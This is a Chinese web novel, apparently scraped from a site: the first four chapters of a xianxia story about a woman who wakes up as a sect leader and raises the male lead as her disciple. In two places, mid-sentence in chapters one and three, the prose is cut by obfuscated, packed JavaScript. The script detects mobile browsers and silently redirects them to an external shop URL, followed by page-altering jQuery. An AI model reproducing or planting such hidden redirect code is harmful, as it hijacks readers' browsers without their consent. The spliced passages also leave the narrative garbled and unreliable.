《徒弟怎能以下犯上报师恩》 1. 第一章 幽幽夏夜的风总是徐徐的,轻轻地抚动少年心底的那把琴弦。他一瞬不瞬看着在丁香花丛里闲逛的师尊,一袭白衣在微风里轻轻飘动,像皎洁的月。 “师尊,徒儿有话要同您说。”清朗的声音在柳今初身后响起,声音不算大,却也能在广阔的丁香花丛中听得出来。 他和自己保持着一段距离,这样乖乖巧巧的徒儿很懂事,不莽撞冲动,让正在思考怎么让小徒弟尽快晋升的柳今初有充分的缓冲时间。 “什么事?为师听着呢。”柳今初丛丁香花丛里抬起头,圆而明亮的杏眼望向离自己有两米远的徒弟。 “恳请师尊,准许徒儿前去九妖山历练。”百里裴卿身着宗门统一的弟子服饰,青衣在月色下泛着幽幽的白,和他狭长深邃的双眼一样,有淡淡的光。 柳今初站起身,随意掸了掸身上的灰尘,点了点头,似是觉得自己答应得太随意了些,没有表现出来师傅对徒弟的殷殷关切,于是又补充道:“怎么突然想要去历练了,你今年才十七。” “徒儿想早日晋升,为师尊分忧。”百里裴卿见师尊起身靠近自己,习惯性地开始行礼,微微低着头。 柳今初沉默了一会儿,走到他身后,随意用手轻扯了一下他高高扎起的马尾上那条青色的发带,示意他可以抬起头了。 现在裴卿是十七岁,而在原著里他在二十岁行冠礼时才提出去九妖山历练,明明以前剧情都是按照原著的进展推进的,怎么突然提前了。柳今初不禁回想自己最近做了什么,让小徒弟受到了什么刺激。 柳今初思来想去没有一个结果,朝站在自己身后的小徒弟摆摆手,“打算什么时候去?” “徒儿想在这个月内出发前往九妖山。”百里裴卿背对着月光,清俊的脸陷入暗暗的阴影里,唯有那双狭长的丹凤眼里印着一袭耀眼的白衣是光亮的。 柳今初抛下一句“心急,你再好好想想,明日再来找我”,就幻化白光消失在原地。 …… 次日,柳今初斜倚在坐榻上,把玩着自己腰间那块白润的圆形玉佩,突然想起来在原著里有提到这块玉佩,这块玉佩好像可以通讯,有一定的防御功能。 正沉浸在回忆中的柳今初被几声沉闷的敲门声拉回思绪,门外传来一个清甜的声音,“师傅您起没起,宁明进来啦。” 柳今初随意应了一声,放下玉佩,喝了一口花茶又摊回坐榻里,用玉白的手撑着头,她昨晚因为剧情的突然提前的事都没睡好,清晨起来只用一只发簪随意挽了一个半簪发就又靠在坐榻上思考应对的方法。 推门进来的是一个高高瘦瘦的少女,脸上洋溢着笑,一手端着热腾腾的早点,另一只手还拎着一串红橙色的柿饼。 “我就知道,你不是心甘情愿给为师送早点的。”柳今初朝宁明手上拎着柿饼扬了扬下巴,又示意她把早点放在炕案上。 宁明把早点放在低矮的炕案上,补充解释这些早点还是小师弟做的。 “想吃柿饼就吃嘛,其实上个月就可以吃了。”柳今初眉眼带笑,丝毫没有因为自己欺骗徒弟而感到惭愧,“待会记得也给你大师兄带一点。” 柳今初已经穿到这里有十几年了,要从她收留了五岁就漂流在外的百里裴卿来算,已经在这个世界待了十二年了。她自己是非常满意掌门这个身份的,手下的亲传弟子只有三个,大师兄进勉,师姐宁明,还有身为男主的小徒弟百里裴卿。 唯一不满的只有她自己潦草的结局,在一百年后的仙魔劫为护住宗门而牺牲,牺牲在整本原著最强的反派手下,而那个时候男主裴卿和师兄师姐还在远在天边的地方进行第n次外出历练,原因就是还没有找到古书里记载的宝器。宗门里就剩普通弟子和身为掌门的她,灭门之灾算是躲不掉了。 可她到现在还没有任何头绪从这里回到现实,只能在寻找出去的办法的同时,想想怎么更大程度地保全性命。 可苍天总是扼杀希望,她只看完了原著小说的一半不到,得到的有用信息就是自己死在了和男主势均力敌的反派手下,而她只是一个几笔带过的掌门,即便修为已经接近化神期,也难抵炮灰命运。 思来想去自己最多能快活一百年,而成了修仙者,活了一百年算是英年早逝,柳今初还要苦寻出去的方法,她只能长长地叹气,苦着张郁闷的小脸。 “师傅?小师弟的呢?不给他也带一份柿饼?”宁明摆好早点,从已经被碗碟摆满的炕案上抬起头来。 柳今初释然一笑,精致纯粹的脸上有浅浅的梨涡显现,与其苦恼地苟活,还不如潇潇洒洒地玩尽兴。“不用,我做的柿饼不多,你和师兄各拿两串尝尝,剩下的就全留给你们的小师弟带去历练。” “剩下的全给小师弟?亏我还积极主动地给师傅您送早点,虽然,虽然这些是小师弟做的。”宁明虽然嘴馋,不过把柿饼留给乖巧又赏心悦目的小师弟,她也是十分愿意的。 “你知道就好,你小师弟在哪练剑呢?”柳今初问完舀起一勺七宝素粥送入口中,煮得软糯的薏米带有淡淡的谷香,实在是让人满足。 “老地方,师父后山的丁香花丛,我们小师弟还真是勤奋,每天早早做完早点还去练剑,那个时天上都还有星星吧。”宁明自觉地拿起一块凉糕咬了一口。 “那你也快吃,然后去练剑。”柳今初咽下最后一口粥,挥了一下水色的衣袖用收纳灵术收下几块糕点和几个虾肉包,幻化白光消失在坐榻上,留下一丝淡淡的栀子花幽香。 …… 柳今初故意收敛气息放慢了脚步,慢慢悠悠走到百里裴卿身后,不疾不徐且正大光明地欣赏徒儿洒脱肆意的练剑风姿。身形挺拔高挑,行剑利落干脆。 裴卿练剑时总是专注而不被外物干扰的,但他会给自己增加练剑难度,施了法术用发带将自己的双眼蒙蔽,相应的,五感中的嗅觉就会变得异常灵敏。 恰在他转身挥剑时,柳今初离他更近,他察觉不到气息的靠近和变化,却闻到了丁香花甜香之外的一种幽香,像栀子花的味道,深而浓的又温润柔和。 “师尊,你起了。可用过早点了?”裴卿除去双眼上的法术,蒙在丹凤眼上白色发带便化作零零碎碎的光点消散在幽香的空气中。 “发现得挺快,为师已经吃过了,你呢?又是空着肚子练剑对不对。”柳今初拉着他坐在石凳上,两个人都浸没在丁香浓郁的香甜芬芳中。 裴卿没有接话,低垂着眼看着自己抵在地面上的剑,轻轻点了点头。他其实知道师傅为什么来找他,他不想避开,却也不想面对已定的离别。 “正好,边吃边和为师聊聊为什么突然要去历练。”柳今初打了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792309|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 响指,石桌上便有了一份甜口的糕点还有咸口的虾肉包。“等一下,为师忘了带些茶水给你。那,徒儿,喝不喝得惯果酒?” 柳今初觉得自己这个师傅实在是不称职,徒儿小小年纪就喝酒,还是她教的,但是没有些喝的,吃这些总归会有些口干吧。 “徒儿可以试试。”裴卿没觉得喝些果酒会怎么样,比起这个,他更好奇师傅喜欢喝的果酒是什么味道,是不是也是那般清甜,会有回甘。 柳今初看着徒儿毫无防备的样子有些担心,“裴卿啊,你还是要有一点警戒心才好,不要随随便便答应别人什么事,特别是喝酒这种奇奇怪怪的要求。”柳今初挽了一下水色的衣袖,露出藕白的纤细手腕,用指节轻推了一下刚拿出来的酒杯,里面盛着玉白色的荔枝酒。 “徒儿受教,多谢师尊。”裴卿轻抿几口荔枝酒,想象里的清甜如约而至,但混入了几丝酸涩的味道,口感丰富,可他却不太喜欢这种味道。 “怎么样,这个荔枝酒我都舍不得给你师兄师姐喝,你尝了不准告诉他们,不然为师就没得喝了。” 等两人商量完,已经临近正午。柳今初虽然疑惑小徒弟怎么突然要提前下山历练去,不过对她来说也不算是坏事,身为男主的裴卿早一日历练就早一日晋升,只要他还记得这份师恩,那柳今初自己就多一份能活下来的底气。 裴卿答应师傅这个月底再出发,这就意味着自己仅有十几天和师傅相处的时间,此后的八年都不会再见。 那身着一袭水色襦裙的人已经离开,丁香丛又只剩下甜香的味道。等到那层幽香已经消散,被风揉碎散布在整片广际的蔚蓝天空,裴卿才像是恍然回神一般,想起自己该歇息一下了。 他想沉沉睡去,又怕这样不切实际的梦将要结束。 * 元剑宗殿堂内,柳今初斜倚在掌门之位上,已经换去了那身舒适的水色襦裙,穿上了一贯素白的衣裳,做了简单的朝云近香髻作为今日的发式。 每月中旬临近正午便是各门派长老掌门的串门时间,实质上便是互相打听各门派亲传弟子的修炼情况。 而在这样的场合,为了维护宗门正经严肃的形象,柳今初总得收拾收拾自己。 不过柳今初很少出门,只有在去凡间逛庙会过节的时候才会积极出门,所以对于整个仙界发生的大事只是略有耳闻。而这一年,便是各宗门纳入新弟子的比试年。 上一次比试年柳今初没怎么参与,毕竟自己终归不是什么正儿八经的师尊掌门,而且她才刚刚救下裴卿不久,还不会养徒弟,现在也只是散养状态,只能依靠裴卿天生的自持勤苦成就他自己成才。 不过相应的,有裴卿这个好徒弟也带来了不少麻烦,有不少宗门的掌门,觊觎自己乖巧的小徒弟,自己也因为小徒弟修炼得太好而被传出私藏速成宝籍或者使用邪门歪道帮助徒弟晋升的谣言。 好在谣言是漏洞百出的,对她的宗门元剑宗影响不大,而裴卿的名气又大得很所以今年比试年报元剑宗的人就更多了。 但仙界有规定,参与一个宗门报选的人数一旦超过其他宗门的一半时,所对应的宗门就必须纳入一名亲传弟子,否者仙界人才将会流失一部分。毕竟十年一次的比试年不是所有人都能等得起的,而完全培养一批修仙者正需要十年的缓冲期。 2. 第二章 大雨滂沱,阴雾沉沉,雨夜里轰然一声雷响,冷蓝色的闪电烈光照射在孩童瘦削蜡黄的面颊,映射出他额角流淌出来的大片鲜红血迹,而他穿着的素色破麻布衣衫上的血迹已干枯成了深褐色。 孩童乌黑的眼瞳里只剩下一片死寂,他被人捶打至昏迷,好在一场没有预兆的雨将他淋得清醒透彻。 他忽然想起,娘亲离世前对他说的最后一句话,娘亲的声音很微弱,几乎是扯着嗓子才能发出声音,那脖颈上的青筋像是要枯死的树根。 “不准放弃你自己,不要像娘亲这样……裴卿。” 百里裴卿忍着五脏六腑传来的剧痛,咽下喉尖溢出的鲜血,撑着残破的躯体站起来,仰着头,借着瓢泼大雨之势洗刷自己半边脸颊上的血痕。 他知道自己已经失去了一切,唯独瘦弱的躯体还在,而他多么希望自己的魂魄能离开这具毫无用处的躯壳,去往别的地方。 在他晃晃悠悠将要走出村口的草稻大门时,猛烈的雨突然停了,他怔愣片刻仰头看向黑得无边的天空,没有一刻亮星,暗无天月。 百里裴卿正要继续拖着步子行路,忽然地,一束柔光散落轻轻扬扬地铺满他的身躯,他不明所以,担心着这束光是不是那些前来杀戮屠村的人发出的,可是他明明不觉得这束光阴寒。 再次抬起头看向光源时,裴卿的眼里便拥满了惊奇,而那光源处有一位女子,她也是一袭素色的白衣,在天际悬飞着,玉白的肤色和衣裳融为一体,乌黑的长发挽了简单的发髻。 裴卿没有见过画集里的天仙,也没有听过说书先生精彩绝伦的描述,可他觉得这位看不清面庞的女子,也许就是人们所说的天仙。 柳今初便是在这一刻来到了这位天仙的身上,她眨了几下眼,注意到站在血泊里瘦弱得不成样的男孩,又左右望望一袭白衣飘飘然的自己,忽然笑了,感慨自己还会做这种成为仙人的梦。 既然是灵活度如此之高的梦,她自然是要救下这个可怜兮兮的男孩,大发一下仙人的善心,说不定梦醒自己出门上班就能得到上天的眷顾,上班路上一路绿灯,到点公司准时放人。 一番甜言蜜语糖衣炮弹后,男孩总算答应跟她走,柳今初去往集市安顿好男孩后,给他塞了一把银子,叮嘱他好好活下去,切不可做盗窃行凶的坏事,并且做人要正直懂得感恩。 确认一切完备后,柳今初又开始到处逛,买了不少新鲜东西,不过很快她发现了有点不对劲,这个梦倒是清晰又漫长。 柳今初随意找了一个小亭子坐下歇息,用纤细的指尖绕着自己的长发玩,望向湖中几多开得嫣红的荷花。身后突然响起声音,她显然感受到了身后有人,回头就看见了一袭青衣。 “师父,已临近午时,该回宗门了。”那名说话的男子身形挺拔,右手执剑,束起马尾,眉目清朗,棱角分明。 “师父?”柳今初倒是好奇起自己梦里的人设了,跟着这个所谓的徒弟回了宗门,这一路上还是十分愉快的,毕竟自己这个徒弟长相身形都令人赏心悦目,和好看的人一路说说聊聊对于柳今初来说是一种不错的享受。 可是她翘起的唇角很快消失了,皱着眉看着眼前的宗门名字——元剑宗。怎么和她上班摸鱼时随意翻看的小说一样,也有这个宗门名字。 “徒儿,为师……”柳今初终究还是没有问出口,先大致观览了一下整个宗门,然后在弟子的带路下顺利回到了自己的住所。 入门就是大片纯白的栀子花,芳香浓郁,柳今初随手捡了一朵掉落在地面的花瓣,用指腹摩挲了一下,随后进了自己的屋子。 她来不及欣赏着富丽堂皇的屋子,先去有书籍的地方翻了个遍,想找到些有用的信息再从书籍里抬起头时已经是傍晚。 柳今初透过花窗望向后山的丁香花丛,落日便在那里,灿红一片,美得不像是现实。 “柳今初,名字和我的一样,长得也和我一样,是我的梦没错。可是那本小说的师尊也叫这个名,也是元剑宗掌门,而且喜欢栀子花,后山种满了丁香花。” “那按照小说里写的,我前几天大发慈悲救下的那个小孩,应该就是男主来着。”柳今初挽起宽大的衣袖,随手抓了一根发簪将及腰的长发盘起,依着原身的肌肉记忆用法术来到凡间,一路寻寻兒兒在一个破旧的茅草屋找到了依旧瘦弱的男主。 “百里裴卿。”柳今初念了一下他的名字,声音不大,她也只是站在茅草屋院外。裴卿在屋里,这个时候他还不大,只有五岁。 男孩似是听到了有人在唤他,向院子里看去,他脸上的血迹早已清洗干净,露出了淡漠而狭长的丹凤眼,虽然年纪小,但他出身贫苦又面临屠村之灾,身上的孩童稚气仅残留几分既让人怜悯,又让人觉得生疏。 裴卿没有见到人,但他闻到了淡淡的栀子花香,这种味道,他似乎在不久前也闻到过,也是淡淡的,似乎是那天晚上自己看见的天仙身上的味道,那位善良的仙人也像栀子花一样,多么纯真美好。 这样的联想驱使裴卿走出屋子,向看看那花香的源头是否有那位仙人的身影。柳今初没有移动步子,有点感叹五岁的男主就有了耀眼的主角光环,能找到这样一个住所。 “你……是仙人?”裴卿依旧穿着那晚的旧麻布衣裳,上面的血迹已经洗得差不多了,只留下了淡淡的粉色痕迹。 柳今初没有回答他,而是问:“你叫百里裴卿,对不对?”见他点头不语,她便半蹲下来和他平视,确认他那双眼是不是丹凤眼。 随后柳今初又抬起手尖打算轻轻撩起他披散在肩的发丝,“裴卿,冒犯一下。”在她看到裴卿脖颈上那颗痣时,她更加确定了,自己是穿进了这本小说没错。 “苍天,开玩笑不是这样开的。”柳今初绝望地闭上双眼,就这样安静地半蹲着待了片刻钟。 “仙人?”裴卿察觉到面前的天仙情绪似乎有些低落,于是轻轻唤了一声。 面对亲和而没有伤害自己的意图的人,裴卿是感到十分放松的,毕竟这几天他整夜提心吊胆,却不敢点柴火,担心会有人注意到这间破旧的茅草屋里住着人。 “嗯,不要叫仙人了……叫我,师尊吧。”柳今初足足静默了半刻钟后开口,暂时接受了这样荒谬的事实,不管怎么样,男主在身边总是会多一份保障。所以先按照原剧情收了徒再说。 在目前看来柳今初只知道自己会在一百年后的仙魔劫挂掉,唯一可以抓住的救命稻草就是男主裴卿,庆幸她赶在了收徒之前,不然就要收拾原主的烂摊子。 在原著bg小说《渡仙》里,柳今初是几笔带过的元剑宗掌门,虽然收了男主裴卿这位天才,但是她暴殄天物,漠视这位小徒弟的才华,收徒也只是为得到他身体里的渡仙剑的剑灵残魂。 而这缕残魂对苦苦寻兒渡仙剑的柳今初来说是极好宝贝,以致她对待的方式裴卿疏离又随意,甚至到了不管不顾徒弟被同门欺压的地步。 于是一百年后的仙魔劫她便葬死在这位徒弟的渡仙剑上。虽是反派执渡 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说来也巧,仙魔劫里夺去渡仙剑要杀男主裴卿,灭掉男主全宗门的,是小说里最大的boss。男主裴卿也算是一生如履薄冰了。 柳今初垂下眼睫,无奈地揉了揉裴卿的头发,有些毛躁干枯,不过手感不错。“裴卿,我今日收你为徒,你若答应,为师就带你回宗门。” 柳今初动作之间,素白洁净衣裳沾染了尘土,裴卿注意到,总觉得天仙不应该沾染污秽,悄悄将她的衣袖扶起,鼻尖瞬间涌入浓郁的栀子花香,虽浓厚却沁人心脾。 “多谢师尊。”裴卿当即行礼向后退一步跪坐着磕了头,他清楚的知道,在这不公的世道,他难以凭借自己翻身,无论眼前的人是否真的是想要收自己为徒,他也必须答应,因为留在原地他也难以苟活,倒不如赌一把,相信这位天仙。 “百里裴卿,你的警惕心还不够啊,以后不准随随便便就答应别人,听到了吗?”柳今初没想到收徒那么容易,说完就领人回了元剑宗。 只有五岁的裴卿因为日日有上顿没有下顿,身子虚弱瘦小,身高也比同龄的孩童矮些,进入宗门时就被自己的师兄师姐包围,到处查看。 “我们小师弟受苦了,今晚你宁明师姐给你下厨,好好补补。”宁明天生自来熟,明媚的脸上带着亲和的笑。 “裴卿,你要好好珍惜,你师姐做的饭我可求都求不来。”进勉拿着一套崭新的弟子服递给裴卿。 “裴卿多谢师姐师哥,师姐和师兄可否告知我师尊大人在哪?”裴卿自从进了宗门,师尊就不见了,然后就被师兄师姐围着问东问西,对于一个只认识师尊的五岁孩童来说,被热情的陌生人包围算是一件很恐怖的事了。 “师尊?应该在栀院阁,就是那个很香很香的地方,那里有很多栀子花。那里是她的居所。”宁明心思细密,察觉到小师弟有点认生,有些局促不安,于是笑着继续道:“师姐我带你去,不过你要记得敲门,你师父不喜欢别人随便靠近她的居所,虽然我们可爱的小师弟可不是什么别的人。” 后来裴卿先去换上进勉给他的弟子服,才跟着宁明去了柳今初的住处。一袭青衣代替了粗糙的麻布,让他觉得舒适很多。 弟子服上的灵气随之开始修复他身上的伤痕,表层的伤疤已经在他来到栀院阁时修复完毕,生出来新的皮肤。 裴卿与宁明道别后,回过头看着攀上花藤的石门上的三个大字“栀院阁”,深吸一口气,刚抬手打算敲门,门却从里面被人打开了。 3. 第三章 撞入裴卿眼里的是一片灵动娇俏的鹅黄色,师尊身上浓郁的栀子花香也随之袭来,师尊依旧只用一根簪子挽起长发,斜斜挽在一侧,看起来温婉亲切极了。 “裴卿?找为师有什么事?”柳今初回到栀院阁后换了一身衣裳,打算睡个觉。这几天她因为穿书这件事神经紧绷,夜夜睡不好,可太紧绷的状态下,她就算再困倦也没办法在白天补觉,这困扰了她好久。 见裴卿不说话,柳今初才像是突然想起来,自己好像收了一个徒弟,不能放着不管,更何况他还是该孩童,于是转身走进院子里,故作高深地抛下一句“进来。” 裴卿依旧恭敬地回应师尊,跟在她身后,陷进满院的花香馥郁中。师姐说的没错,师尊院子里有很多栀子花,墨绿的叶上开满了圆润洁白的栀子花,有几只零零散散的蓝灰蝶飞舞其中。 跟着柳今初来到书室,裴卿就被塞了几本厚重的书,书的封面写着“练气入门”“剑修入门招式”。 “裴卿,为师告诉你,你是空灵根,拜入了我们元剑宗门下,以后就是一名专门修剑的仙者了。你呢,现在先去后山随便找一根木棍代替剑,自己看着书摸索一下什么事练剑。等你能够单手握起重重的剑了,我再给你一把属于你自己的剑。” 柳今初虽然不会教徒弟,但是她也没少看修仙文,一般修仙文里,小孩练剑先要找根木棍来练,后面才用真剑上手打斗,照着一般的修仙文套路养徒弟应该不会出什么差错。 * 瘦弱矮小的裴卿抱着一摞秘籍摇摇晃晃地来到师父的后山,那里种满了丁香花,有一片澄澈的浅青色湖泊,湖边一侧种有几株极高的柳树,柳树的枝干上也缠有师尊石门上的花藤,是浅淡的水色,长长的花藤和浅清的湖水相连着。 柳今初闲来无事,也随他来到后山,看他学着书上的动作开始练剑,一开始动作断断续续,但小家伙学东西很快,半天时间已经学会了几套招式,连起来也变得行云流水了。 这样让柳今初感到无比厌倦的训练日常持续了将近十年,期间柳今初为了能时不时体现一下师父对徒弟的关心,会主动帮裴卿纠正一下动作,虽然他的动作姿势基本上是毫无挑剔之处。 裴卿身子本身就不差,只是在小时候缺了营养,所以看起来瘦瘦弱弱,仿佛一阵清风就可以把人吹倒。而在宗门吃好喝好之后,柳今初发现小师弟长得特别快,才十几岁的年纪就和他大师兄差不多高了,力气也有见长。 “书是不是有点多?不过你也不能用灵力,先把你身体练得壮实一些才可以那样偷懒。”柳今初为了快点培养一个能完胜最大反派boss的好徒弟,翻箱倒柜把原主珍藏的所有秘籍都给了裴卿。 “不会的师尊,劳烦师尊了,徒儿多谢。”裴卿一手拎一摞小腿高度的书籍,一手拎着同样有小腿那么高的木质食盒,“师尊,这是今日的早点。” “先放地上,为师晚点吃。”柳今初看着那层层叠叠好几层的食盒,内心有点不好意思,虽然她已经可以辟谷了,但耐不住徒儿自幼就好到惊人的手艺,她厚脸皮地让徒儿给自己做早点。 于是在御膳阁的厨娘厨子还没工作时,御膳阁就有袅袅炊烟升起,在裴卿第一次送早点时,粥、糕点、小菜、烙饼、茶水和鲜果一应俱全,只是因为柳今初睡前跟他说明早能不能给她做些早点时,没有说喜欢什么。 柳今初边享用,边惊叹徒儿无师自通的感恩行为,这般善良懂事的男主真是让人省心。 …… 但很快,柳今初发现徒弟对自己实在是太苛刻了,只要是自己下达的命令,他都会执行到底,无论发生了什么差错也在所不辞。 夏日的晨昏时刻,后山的温度依旧不输正午,烈日虽藏在青山之后,也难掩身上迸射的橙彩浓红。 百里裴卿挥舞着一把还未开刃的环首刀,后腿撤步,转动手腕将刀旋转,迅速击落刚才抛在空中的石子,丁香花瓣大小的石子瞬间开裂成两块细小石子,转身收剑时,青色的衣摆扬起一阵风,吹动地面零星几点的浅紫花瓣。 少年眸色由坚定深沉慢慢转变为清和的夕阳暖色,他看向即将要消散的落日辉光,利落收好环首刀,随手轻柔地轻碰了下自己腿侧的丁香花,花瓣上也有暖色的辉光。 裴卿并不觉得疲惫,快步走向御膳阁,他记得今日师尊有在正午来看过他,当时师尊说天气热,想吃些冰的东西。 但师尊近日对他的要求更高了些,需要学会的招式更繁复了,他只能尽快学完,才能空出时间做些吃食糕点送去给师尊。 忙完一切已是圆月升起之时,明月清朗,有萤火虫在师尊的院内飞舞,但师尊今日不在,似是出了宗门。 “叫人把这冰糕放好,若师尊回来了,便送过去。”裴卿将冰糕放入食盒中递给御膳阁的弟子。骨节分明的手上新增了些细小的擦伤,他处理完一切才发觉,那些伤是自己练剑时太心急,手背让丁香花的枝干擦破了。 “若师尊回来得晚了,就不送了,也不能过夜,丢了就好。”裴卿从收纳袋中拿出柳今初给他的药,将冰凉的药瓶握在手心,感受到了丝丝凉意,燥热的感受也随之缓解。 裴卿回到自己的住所,施了一个除尘术,望着明月,沉沉睡去。 …… “不愧是好玩的凡间,月亮就是比宗门里的圆。”柳今初托着腮,从发髻里摘下一把浅青色的步摇放在手心观摩,那是上一次她带裴卿宁明他们来凡间玩的时候买的。 “裴卿,你到底有没有七情六欲了?”柳今初回想起那天的经历脑海里就忍不住浮现裴卿那张面无表情的脸。 那时恰逢元宵节,街市上灯火通明,各色的彩灯迷乱人眼,裴卿虽是十几岁的少年却和街上欢笑闹腾的少年们不一样,一路上也都是柳今初在说说笑笑,提起话题。 “你怎么都不笑一下?小心你以后笑的时候脸部肌肉酸疼。”柳今初和亲传弟子们相处久了,也发现自己这个掌门身份有些把持不住,既然如此,倒不如让这掌门尊严从此消失。 宁明和进勉虽然有时候听不懂师父在说些什么,但看看被说的小师弟是什么反应也就能明白了。 “小师弟,你和师父之间有什么秘密是我们不能知道的吗?不然我们有时候为什么听不懂你们在说什么。”宁明端来两碗热腾腾的元宵,先放一碗在柳今初面前,再给裴卿一碗“师父和小师弟先吃。” “没什么。”裴卿伸手移开挡在柳今初面前的一串小灯盏,施了一个小法术,将凡人难以看见的灵力附着在柳今初的那碗元宵上,冰凉的灵气让滚烫热腾的元宵降到了适宜食用的温度。 柳今初作为现代公司和家两点一线的牛马,对古人的元宵文化十分好奇,在等元宵时四处张望,深深沉浸在繁华的灯火中,内心感叹这些人间烟火气息的美好,但是在这个世界没有人能和她感同身受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792311|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 孤寂感在喧嚣中蔓延全身,柳今初不想扫了亲传弟子们的兴致,只好看着一家卖发簪步摇摊铺转移注意力。 裴卿轻轻唤了一声,“师尊。”又有些生疏地改口“今初,可以吃元宵了。” 他注意到师尊会在某些时候发散思绪,平日随和鲜活的她会变得很安静,望着一处久久不移开目光,和小时候自己时常感到的孤单的情绪很像,他想知道为什么,却也清楚地知道自己没有资格了解这些。 “还知道改口。人都齐了吗?你大师兄呢?”柳今初回过神,尝了一口温热的元宵,内心不禁感叹古人的手艺,元宵外皮软糯清甜,内馅浓郁的芝麻香让柳今初满足,这些口感终归是速冻食品难以达到的。 “多谢提点,师兄去买花灯了。”裴卿见师尊先尝了元宵,也用汤匙舀起一团圆润雪白的元宵,他儿时就好奇它的味道,但迫于家贫,没有尝过元宵真正的味道,只尝过娘亲做的圆子,里面没有内馅,只有汤底有淡淡的甜味,圆子算不上味美,却也成了他最喜欢的甜食。 但他也只尝过那一次,此后那种清甜的圆子就永远缺席在元宵节上了。 几人享用完凡间的元宵后,宁明和进勉又争争吵吵地闹着去猜灯谜,柳今初兴致不高,只是笑而不语地跟在两人身后。毕竟这一路逛来她见到古文就晕头转向,好在仙界在原著小说的设定里没有用太多生涩的古文方式来表述,她也能看懂不少。 裴卿见师尊兴致淡淡,扯了一下自己的帽檐,露出双眼,跟在师尊后面。他个子见长,已高出柳今初一个头,视线能将师尊整个揽入眼中。 柳今初带几人来到凡间前,叮嘱他们施用易容术,换上朴素的衣裳,并且互相改口只称呼对方名字,好融入凡人的街市里。 柳今初倒是没有什么易容的必要,她先前试探过原主的法力深厚大致多少,并对其元婴期且接近化神期的修为感到很满意,于是与其易容自己,不如收敛灵力,再将自己沾染凡间气息以不被凡人所注意。 这样麻烦地安排,柳今初本是不喜欢的,但若是依照原剧情进展推进的情况,她这样做能验证凡间是否有魔界的小兵。 “要是真被认出来了,鱼儿说不定就上钩了。”柳今初靠在桥边看着夜景,嘴里喃喃。 她不知道这样能不能碰巧得到什么宝器的线索,毕竟按照修仙文的一般套路,认识的妖魔鬼怪越多,有几率得到的宝物越多。再回想自己看过的穿书文,那些奇奇怪怪的宝器很有可能就是离开这个世界的途径。 正当她越想越深时,裴卿也在看着她越想越深。 有轻轻的湖风吹来,轻漾起柳今初脸颊的发丝,柔和的灯彩火光映照在她的脸颊,和她淡漠沉静的神色大相径庭,像是一种难以言说的割裂感,裴卿形容不出来,总觉得师尊和自己离得很远,想到这里,裴卿走上前一步,藏在身后的浅青色步摇轻轻晃动。 他紧握着那支步摇,庆幸自己发现了师尊另一种喜欢的物品,又担心师尊会不会不喜欢自己擅自买来的步摇。 正当他踌躇之际,柳今初靠近他,那股幽香又环绕周身。 “背着手做什么?鬼鬼祟祟的,偷偷卖了什么好东西,不给为师看看?”柳今初出于好奇,一时也忘了改口不称呼自己“为师”。 裴卿没想到师尊会突然靠近,下意识后退一步拉开一些距离,又慢慢将藏在掌心的步摇递到柳今初面前,“今初,可否收下?” 4. 第四章 想到这里,裴卿下意识闭了下眼眸,再次睁开眼是,见到的是师尊投来的,有些怜悯意味的目光。 柳今初回忆完裴卿小时候刻苦修炼的种种,不禁感叹他已经律己到出门玩也不忘在空暇时警惕四周的程度了,翻箱倒柜找出来裴卿给自己买的那只步摇,心里更是心疼他,真是难得一见的正派男主,即便童年扭曲黑暗,人依旧善良懂得感恩师父。 为弥补自己对徒弟迟来的照顾,柳今初决定在送裴卿去九妖山前,让御膳阁的人准备一顿丰盛的送别宴,好好犒劳一下这么多年来早起贪黑为自己做早点的徒弟。 柳今初吩咐完御膳阁的弟子后已接近巳时,换算到现代,大概是上午十点左右。 柳今初为了隆重地与徒弟送别,特地换上平时不爱穿的青色衣衫,也就是仙界众长老们的“工服”,青色衣衫虽与元剑宗统一的弟子服饰颜色一致,但是样式更为繁复些,看着就更庄重几分。 裴卿来到熟悉的石门前,上面缠绕的花藤已经出露嫩绿的芽叶,花还未开。师尊院子里的栀子花也未开,奇怪的是那股清幽的花香却已经萦绕鼻尖,就像是这方空气本身就是这味道般。 少年伸出骨节分明的手,曲成轻握的手势,用指节轻叩石门,轻声问候:“师尊,徒儿百里裴卿求见。”清哑的少年音穿过石门来到柳今初耳旁。 恰巧走到院内的柳今初吓了一跳,狐疑地看了一眼石门,怀疑自己的徒弟是不是偷学了什么读心术之类的术法,知道自己要找他。 “自己进来吧。”柳今初见没有再去找他的必要,于是干脆就坐在院内的石凳上等他。 “师尊。”裴卿依旧照常行了礼,背上背着的环首刀反射了几丝阳光。他但并未坐下,也未抬头看这张脸,裴卿只是静静注视着那青色的衣衫裙摆。她穿上了宗门长老举行重大会议时才穿上的衣衫。 看着少年肩上背着的环首刀,在光照下闪耀,可以清晰的看见刀刃上细小的划痕,柳今初便知道,那把刀应该是早早开了刃,裴卿也熟悉过开了刃的环首刀,并且用过一段时间了。 想到这里柳今初有些懊恼,最近自己光顾着处理原身的过往背景,已经很久没有探望徒弟了,虽然每日都能感受到来自后山的灵气波动,那是裴卿在修炼运气。 “起身吧。还有,你这是,就准备走了?”柳今初扬扬下巴,示意他坐在自己对面的石凳上。 